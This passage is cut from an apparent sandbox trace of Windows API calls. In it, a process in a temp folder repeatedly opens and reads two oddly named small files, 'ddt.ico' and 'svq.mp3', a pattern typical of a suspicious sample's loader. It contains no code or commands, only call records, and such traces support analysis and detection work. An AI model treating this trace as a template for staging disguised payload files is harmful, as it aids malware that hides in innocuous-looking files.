lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.738] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.738] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.739] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.739] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.739] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.739] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.739] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.739] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.739] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.739] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.739] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.739] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.739] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.740] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.740] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.740] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.740] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.740] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.740] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.740] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.740] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.740] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.740] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.740] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.741] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.741] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.741] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.741] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.741] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.741] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.741] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.741] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.741] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.742] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.742] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.742] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.742] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.742] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.742] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.742] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.742] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.743] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.743] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.743] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.743] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.743] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.743] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.743] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.743] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.743] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.743] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.744] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.744] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.744] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.744] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.744] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.744] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.744] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.744] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.744] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.744] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.744] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.745] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.745] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.745] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.745] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.745] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.745] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.745] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.745] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.745] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.745] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.746] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.746] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.746] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.746] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.746] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.746] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.746] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.746] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.746] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.747] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.747] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.747] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.747] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.747] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.747] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.747] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.747] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.747] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.747] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.747] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.748] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.748] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.748] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.748] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.748] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.748] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.748] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.748] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.748] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.748] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.748] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.749] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.749] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.749] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.749] SetCurrentDirectoryW 